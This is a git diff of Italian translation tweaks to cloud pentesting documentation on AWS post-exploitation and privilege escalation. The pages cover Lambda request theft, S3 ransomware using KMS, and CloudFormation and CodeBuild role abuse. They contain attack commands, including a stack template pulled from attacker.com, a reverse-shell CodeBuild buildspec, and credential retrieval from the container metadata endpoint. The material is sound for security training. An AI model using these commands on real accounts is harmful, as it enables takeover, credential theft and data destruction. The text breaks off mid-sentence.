diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index f25730fb5..e5cf215e9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -12,7 +12,7 @@ Per ulteriori informazioni controlla: ### Rubare le Richieste URL di Altri Lambda -Se un attaccante riesce in qualche modo a ottenere RCE all'interno di un Lambda, sarà in grado di rubare le richieste HTTP di altri utenti al lambda. Se le richieste contengono informazioni sensibili (cookie, credenziali...) sarà in grado di rubarle. +Se un attaccante riesce in qualche modo a ottenere RCE all'interno di un Lambda, sarà in grado di rubare le richieste HTTP di altri utenti al lambda. Se le richieste contengono informazioni sensibili (cookie, credenziali...), sarà in grado di rubarle. {{#ref}} aws-warm-lambda-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index cb971b2bd..b1fbbc27d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -11,10 +11,10 @@ - **`/2018-06-01/runtime/invocation/next`** – ottieni il prossimo evento di invocazione - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – restituisci la risposta del gestore per l'invocazione - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – restituisci un errore di esecuzione -3. **bootstrap.py** ha un ciclo che ottiene invocazioni dal processo init e chiama il codice dell'utente per gestirle (**`/next`**). +3. **bootstrap.py** ha un ciclo che ottiene le invocazioni dal processo init e chiama il codice dell'utente per gestirle (**`/next`**). 4. Infine, **bootstrap.py** invia al init la **risposta** -Nota che bootstrap carica il codice dell'utente come un modulo, quindi qualsiasi esecuzione di codice eseguita dal codice dell'utente avviene effettivamente in questo processo. +Nota che bootstrap carica il codice dell'utente come un modulo, quindi qualsiasi esecuzione di codice effettuata dal codice dell'utente avviene effettivamente in questo processo. ## Rubare le Richieste Lambda @@ -22,7 +22,7 @@ L'obiettivo di questo attacco è far eseguire al codice dell'utente un processo Questo è un compito semplice da raggiungere poiché il codice dell'utente viene eseguito dal legittimo processo **`bootstrap.py`**. Quindi l'attaccante potrebbe: -- **Inviare un risultato falso dell'invocazione corrente al processo init**, così init pensa che il processo bootstrap stia aspettando ulteriori invocazioni. +- **Inviare un risultato falso dell'invocazione corrente al processo init**, in modo che init pensi che il processo bootstrap stia aspettando ulteriori invocazioni. - Deve essere inviata una richiesta a **`/${invoke-id}/response`** - L'invoke-id può essere ottenuto dallo stack del legittimo processo **`bootstrap.py`** utilizzando il modulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (come [proposto qui](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o semplicemente richiedendolo di nuovo a **`/2018-06-01/runtime/invocation/next`** (come [proposto qui](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). - Eseguire un **`boostrap.py`** malevolo che gestirà le prossime invocazioni @@ -31,9 +31,9 @@ Questo è un compito semplice da raggiungere poiché il codice dell'utente viene ### Passi dell'Attacco -1. Trova una vulnerabilità **RCE**. -2. Genera un **bootstrap** **malevolo** (ad es. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) -3. **Esegui** il bootstrap malevolo. +1. Trovare una vulnerabilità **RCE**. +2. Generare un **bootstrap** **malevolo** (ad es. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) +3. **Eseguire** il bootstrap malevolo. Puoi facilmente eseguire queste azioni eseguendo: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md index 3ac07091b..14a5f85a6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Organizations Post Exploitation +# AWS - Organizzazioni Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Organizzazioni -Per ulteriori informazioni su AWS Organizations, controlla: +Per ulteriori informazioni su AWS Organizations controlla: {{#ref}} ../aws-services/aws-organizations-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 74067b5ea..8d8b8b447 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -57,7 +57,7 @@ Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare po ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Impatto Potenziale**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando credenziali leaked. +**Impatto Potenziale**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando credenziali compromesse. ### `rds:DeleteDBInstance` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 186cfff3e..727867f9c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -19,17 +19,17 @@ A volte sarà possibile trovare informazioni sensibili leggibili nei bucket. Ad Diverse piattaforme potrebbero utilizzare S3 per memorizzare asset sensibili.\ Ad esempio, **airflow** potrebbe memorizzare il **codice** dei **DAG** lì, oppure **pagine web** potrebbero essere servite direttamente da S3. Un attaccante con permessi di scrittura potrebbe **modificare il codice** dal bucket per **pivotare** verso altre piattaforme, o **prendere il controllo degli account** modificando i file JS. -### S3 Ransomware +### Ransomware S3 In questo scenario, l'**attaccante crea una chiave KMS (Key Management Service) nel proprio account AWS** o in un altro account compromesso. Poi rende questa **chiave accessibile a chiunque nel mondo**, consentendo a qualsiasi utente, ruolo o account AWS di crittografare oggetti utilizzando questa chiave. Tuttavia, gli oggetti non possono essere decrittografati. -L'attaccante identifica un **bucket S3 target e ottiene accesso in scrittura** utilizzando vari metodi. Questo potrebbe essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente o all'accesso dell'attaccante all'ambiente AWS stesso. L'attaccante di solito prende di mira i bucket che contengono informazioni sensibili come informazioni identificabili personalmente (PII), informazioni sanitarie protette (PHI), log, backup e altro. +L'attaccante identifica un **bucket S3 target e ottiene accesso a livello di scrittura** utilizzando vari metodi. Questo potrebbe essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente o all'accesso dell'attaccante all'ambiente AWS stesso. L'attaccante di solito prende di mira i bucket che contengono informazioni sensibili come informazioni identificabili personalmente (PII), informazioni sanitarie protette (PHI), log, backup e altro. Per determinare se il bucket può essere preso di mira per ransomware, l'attaccante controlla la sua configurazione. Questo include la verifica se **S3 Object Versioning** è abilitato e se **la cancellazione con autenticazione a più fattori (MFA delete) è abilitata**. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante ransomware quel specifico bucket. -Utilizzando l'API AWS, l'attaccante **sostituisce ogni oggetto nel bucket con una copia crittografata utilizzando la propria chiave KMS**. Questo crittografa efficacemente i dati nel bucket, rendendoli inaccessibili senza la chiave. +Utilizzando l'API AWS, l'attaccante **sostituisce ogni oggetto nel bucket con una copia crittografata utilizzando la propria chiave KMS**. Questo crittografa effettivamente i dati nel bucket, rendendoli inaccessibili senza la chiave. -Per aumentare ulteriormente la pressione, l'attaccante programma la cancellazione della chiave KMS utilizzata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i propri dati prima che la chiave venga cancellata e i dati diventino permanentemente persi. +Per esercitare ulteriore pressione, l'attaccante programma la cancellazione della chiave KMS utilizzata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i propri dati prima che la chiave venga cancellata e i dati diventino permanentemente persi. Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt," che contiene istruzioni per il target su come recuperare i propri file. Questo file viene caricato senza crittografia, probabilmente per attirare l'attenzione del target e farlo diventare consapevole dell'attacco ransomware. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 42f565ec1..806efe253 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -14,9 +14,9 @@ Per ulteriori informazioni controlla: I **segreti stessi sono informazioni sensibili**, [controlla la pagina privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) per imparare come leggerli. -### DoS Cambiare Valore del Segreto +### DoS Cambia Valore Segreto -Cambiando il valore del segreto potresti **DoS tutti i sistemi che dipendono da quel valore.** +Cambiando il valore del segreto potresti **DoS tutto il sistema che dipende da quel valore.** > [!WARNING] > Nota che i valori precedenti sono anche memorizzati, quindi è facile tornare al valore precedente. @@ -32,7 +32,7 @@ aws secretsmanager update-secret \ --secret-id MyTestSecret \ --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` -### DoS Eliminazione Segreto +### DoS Eliminazione del Segreto Il numero minimo di giorni per eliminare un segreto è 7 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index 2388b148a..bf28ab8e2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -17,7 +17,7 @@ Invia un'email. aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` -Still to test. +Ancora da testare. ### `ses:SendRawEmail` @@ -31,13 +31,15 @@ Invia un'email basata su un modello. ```bash aws ses send-templated-email --source --destination --template ``` +Ancora da testare. + ### `ses:SendBulkTemplatedEmail` Invia un'email a più destinazioni ```bash aws ses send-bulk-templated-email --source --template ``` -Still to test. +Ancora da testare. ### `ses:SendBulkEmail` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 81fcc7883..ff32a4611 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -20,11 +20,11 @@ Un attaccante potrebbe eliminare un intero topic SNS, causando la perdita di mes ```bash aws sns delete-topic --topic-arn ``` -**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano l'argomento eliminato. +**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano il topic eliminato. ### `sns:Publish` -Un attaccante potrebbe inviare messaggi dannosi o indesiderati all'argomento SNS, causando potenzialmente corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse. +Un attaccante potrebbe inviare messaggi dannosi o indesiderati al topic SNS, causando potenzialmente corruzione dei dati, attivazione di azioni non intenzionali o esaurimento delle risorse. ```bash aws sns publish --topic-arn --message ``` @@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr ### `sns:Subscribe` , `sns:Unsubscribe` -Un attaccante potrebbe iscriversi o disiscriversi a un argomento SNS, potenzialmente ottenendo accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che dipendono dall'argomento. +Un attaccante potrebbe iscriversi o disiscriversi a un argomento SNS, guadagnando potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano sull'argomento. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn @@ -54,9 +54,9 @@ Un attaccante potrebbe concedere accesso a utenti o servizi non autorizzati a un aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` -**Impatto Potenziale**: Accesso non autorizzato all'argomento, esposizione dei messaggi o manipolazione dell'argomento da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che si basano sull'argomento. +**Impatto Potenziale**: Accesso non autorizzato al topic, esposizione dei messaggi o manipolazione del topic da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che si basano sul topic. -### `sns:TagResource`, `sns:UntagResource` +### `sns:TagResource` , `sns:UntagResource` Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SNS, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 538c4d52e..c4afabf1b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -12,12 +12,12 @@ Per ulteriori informazioni controlla: ### `sqs:SendMessage` , `sqs:SendMessageBatch` -Un attaccante potrebbe inviare messaggi dannosi o indesiderati alla coda SQS, potenzialmente causando corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse. +Un attaccante potrebbe inviare messaggi dannosi o indesiderati alla coda SQS, causando potenzialmente corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**Impatto Potenziale**: Sfruttamento della vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse. +**Impatto Potenziale**: Sfruttamento delle vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` @@ -39,7 +39,7 @@ Copy codeaws sqs delete-queue --queue-url ### `sqs:PurgeQueue` -Un attaccante potrebbe eliminare tutti i messaggi da una coda SQS, portando a perdita di messaggi e potenziale interruzione delle applicazioni che dipendono da quei messaggi. +Un attaccante potrebbe eliminare tutti i messaggi da una coda SQS, portando a perdita di messaggi e potenziale interruzione delle applicazioni che si basano su quei messaggi. ```arduino Copy codeaws sqs purge-queue --queue-url ``` @@ -60,7 +60,7 @@ Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SQS, aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` -**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate sui tag. +**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo accessi basate sui tag. ### `sqs:RemovePermission` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index f1fcc194f..e43e56c46 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -1,8 +1,8 @@ -# AWS - SSO & identitystore Post Exploitation +# AWS - SSO e identitystore Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## SSO & identitystore +## SSO e identitystore Per ulteriori informazioni controlla: diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 1b12b9828..8bc24ef5a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -24,7 +24,7 @@ Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente > > - Eliminando una macchina a stati si eliminano anche tutte le sue versioni e alias associati. > - Eliminando un alias di macchina a stati non si eliminano le versioni della macchina a stati che fanno riferimento a questo alias. -> - Non è possibile eliminare una versione della macchina a stati attualmente referenziata da uno o più alias. +> - Non è possibile eliminare una versione di macchina a stati attualmente referenziata da uno o più alias. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -45,10 +45,10 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING] -> Questa azione non è supportata da **macchine a stati espressi**. +> Questa azione non è supportata da **express state machines**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 25d296e28..19606cf91 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -10,7 +10,7 @@ Per ulteriori informazioni: ../aws-services/aws-iam-enum.md {{#endref}} -### Da IAM Creds a Console +### Da credenziali IAM alla Console Se sei riuscito a ottenere alcune credenziali IAM, potresti essere interessato a **accedere alla console web** utilizzando i seguenti strumenti.\ Nota che l'utente/ruolo deve avere il permesso **`sts:GetFederationToken`**. @@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` @@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith ### **Evitare le restrizioni dell'User-Agent da Python** -Se c'è una **restrizione nell'eseguire determinate azioni basate sull'user agent** utilizzato (come la restrizione dell'uso della libreria python boto3 in base all'user agent), è possibile utilizzare la tecnica precedente per **connettersi alla console web tramite un browser**, oppure puoi direttamente **modificare l'user-agent di boto3** facendo: +Se c'è una **restrizione nell'eseguire determinate azioni basate sull'user agent** utilizzato (come limitare l'uso della libreria python boto3 in base all'user agent), è possibile utilizzare la tecnica precedente per **connettersi alla console web tramite un browser**, oppure puoi direttamente **modificare l'user-agent di boto3** facendo: ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 95c602193..b6debe4d3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -16,7 +16,7 @@ Con questo permesso puoi generare chiavi API delle API configurate (per regione) ```bash aws --region apigateway create-api-key ``` -**Impatto Potenziale:** Non puoi eseguire un privesc con questa tecnica, ma potresti ottenere accesso a informazioni sensibili. +**Impatto Potenziale:** Non puoi eseguire il privesc con questa tecnica, ma potresti ottenere accesso a informazioni sensibili. ### `apigateway:GET` @@ -25,7 +25,7 @@ Con questo permesso puoi ottenere le chiavi API generate delle API configurate ( aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**Impatto Potenziale:** Non puoi eseguire un privesc con questa tecnica, ma potresti ottenere accesso a informazioni sensibili. +**Impatto Potenziale:** Non puoi eseguire il privesc con questa tecnica, ma potresti ottenere accesso a informazioni sensibili. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` @@ -42,7 +42,7 @@ aws apigateway update-rest-api \ > [!NOTE] > Necessita di test -Un attaccante con i permessi `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` può **aggiungere una nuova integrazione a un'API REST di API Gateway esistente con una funzione Lambda che ha un ruolo IAM associato**. L'attaccante può quindi **attivare la funzione Lambda per eseguire codice arbitrario e potenzialmente ottenere accesso alle risorse associate al ruolo IAM**. +Un attaccante con i permessi `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` può **aggiungere una nuova integrazione a un'API REST di API Gateway esistente con una funzione Lambda a cui è associato un ruolo IAM**. L'attaccante può quindi **attivare la funzione Lambda per eseguire codice arbitrario e potenzialmente ottenere accesso alle risorse associate al ruolo IAM**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod > [!NOTE] > Necessita di test -Un attaccante con i permessi `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` può **modificare un autoregistratore API Gateway esistente** per bypassare i controlli di sicurezza o per eseguire codice arbitrario quando vengono effettuate richieste API. +Un attaccante con i permessi `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` può **modificare un authorizer API Gateway esistente** per bypassare i controlli di sicurezza o per eseguire codice arbitrario quando vengono effettuate richieste API. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index e518ef2f5..f4e2282e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -4,6 +4,6 @@ ### chime:CreateApiKey -DA FARE +TODO {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 570bb0f92..fd33e5008 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ --role-arn ``` -Nella seguente pagina hai un **esempio di sfruttamento** con il permesso aggiuntivo **`cloudformation:DescribeStacks`**: +In questa pagina hai un **esempio di sfruttamento** con il permesso aggiuntivo **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -43,7 +43,7 @@ Il permesso `cloudformation:SetStackPolicy` può essere utilizzato per **darti i ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Se hai questo permesso ma **nessun `iam:PassRole`** puoi comunque **aggiornare gli stack** utilizzati e abusare dei **ruoli IAM che hanno già allegato**. Controlla la sezione precedente per un esempio di exploit (basta non indicare alcun ruolo nell'aggiornamento). +Se hai questo permesso ma **nessun `iam:PassRole`** puoi comunque **aggiornare gli stack** utilizzati e abusare dei **ruoli IAM che hanno già allegato**. Controlla la sezione precedente per un esempio di sfruttamento (basta non indicare alcun ruolo nell'aggiornamento). Il permesso `cloudformation:SetStackPolicy` può essere utilizzato per **darti il permesso `UpdateStack`** su uno stack e eseguire l'attacco. @@ -53,7 +53,7 @@ Il permesso `cloudformation:SetStackPolicy` può essere utilizzato per **darti i Un attaccante con permessi per **passare un ruolo e creare & eseguire un ChangeSet** può **creare/aggiornare un nuovo stack cloudformation abusando dei ruoli di servizio cloudformation** proprio come con CreateStack o UpdateStack. -Il seguente exploit è una **variazione del**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilizzando i **permessi ChangeSet** per creare uno stack. +Lo sfruttamento seguente è una **variazione del**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilizzando i **permessi ChangeSet** per creare uno stack. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -93,13 +93,13 @@ Questo è simile al metodo precedente senza passare **ruoli IAM**, quindi puoi s ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -Un attaccante potrebbe abusare di queste autorizzazioni per creare/aggiornare StackSets per abusare di ruoli cloudformation arbitrari. +Un attaccante potrebbe abusare di questi permessi per creare/aggiornare StackSets per abusare di ruoli cloudformation arbitrari. **Impatto Potenziale:** Privesc ai ruoli di servizio cloudformation. ### `cloudformation:UpdateStackSet` -Un attaccante potrebbe abusare di questa autorizzazione senza il permesso passRole per aggiornare StackSets per abusare dei ruoli cloudformation allegati. +Un attaccante potrebbe abusare di questo permesso senza il permesso passRole per aggiornare StackSets per abusare dei ruoli cloudformation allegati. **Impatto Potenziale:** Privesc ai ruoli cloudformation allegati. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index 8a05598fb..fc35b6a7e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -Un attaccante potrebbe ad esempio utilizzare un **template di cloudformation** che genera **chiavi per un utente admin** come: +Un attaccante potrebbe ad esempio utilizzare un **cloudformation template** che genera **chiavi per un utente admin** come: ```json { "Resources": { @@ -55,14 +55,14 @@ Un attaccante potrebbe ad esempio utilizzare un **template di cloudformation** c } } ``` -Poi **genera lo stack di cloudformation**: +Poi **generare lo stack di cloudformation**: ```bash aws cloudformation create-stack --stack-name privesc \ --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ --role arn:aws:iam::[REDACTED]:role/adminaccess \ --capabilities CAPABILITY_IAM --region us-west-2 ``` -**Aspetta un paio di minuti** affinché lo stack venga generato e poi **ottieni l'output** dello stack dove **sono memorizzate le credenziali**: +**Aspetta un paio di minuti** affinché lo stack venga generato e poi **ottieni l'output** dello stack dove sono **memorizzate le credenziali**: ```bash aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 19603b22a..ccb7fa5bd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Un attaccante con i permessi **`iam:PassRole`, `codebuild:CreateProject` e `codebuild:StartBuild` o `codebuild:StartBuildBatch`** sarebbe in grado di **escalare i privilegi a qualsiasi ruolo IAM di codebuild** creando uno in esecuzione. +Un attaccante con i permessi **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` o `codebuild:StartBuildBatch`** sarebbe in grado di **escalare i privilegi a qualsiasi ruolo IAM di codebuild** creando uno in esecuzione. {{#tabs }} {{#tab name="Example1" }} @@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project ``` {{#endtab }} -{{#tab name="Esempio2" }} +{{#tab name="Example2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command @@ -140,13 +140,13 @@ aws codebuild start-build --project-name reverse-shell-project **Impatto Potenziale:** Privesc diretto a qualsiasi ruolo AWS Codebuild. > [!WARNING] -> In un **contenitore Codebuild** il file `/codebuild/output/tmp/env.sh` contiene tutte le variabili d'ambiente necessarie per accedere alle **credenziali dei metadati**. +> In un **contenitore Codebuild** il file `/codebuild/output/tmp/env.sh` contiene tutte le variabili d'ambiente necessarie per accedere alle **credenziali di metadata**. > Questo file contiene la **variabile d'ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** che contiene il **percorso URL** per accedere alle credenziali. Sarà qualcosa del tipo `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` > Aggiungi questo all'URL **`http://169.254.170.2/`** e sarai in grado di estrarre le credenziali del ruolo. -> Inoltre, contiene anche la **variabile d'ambiente 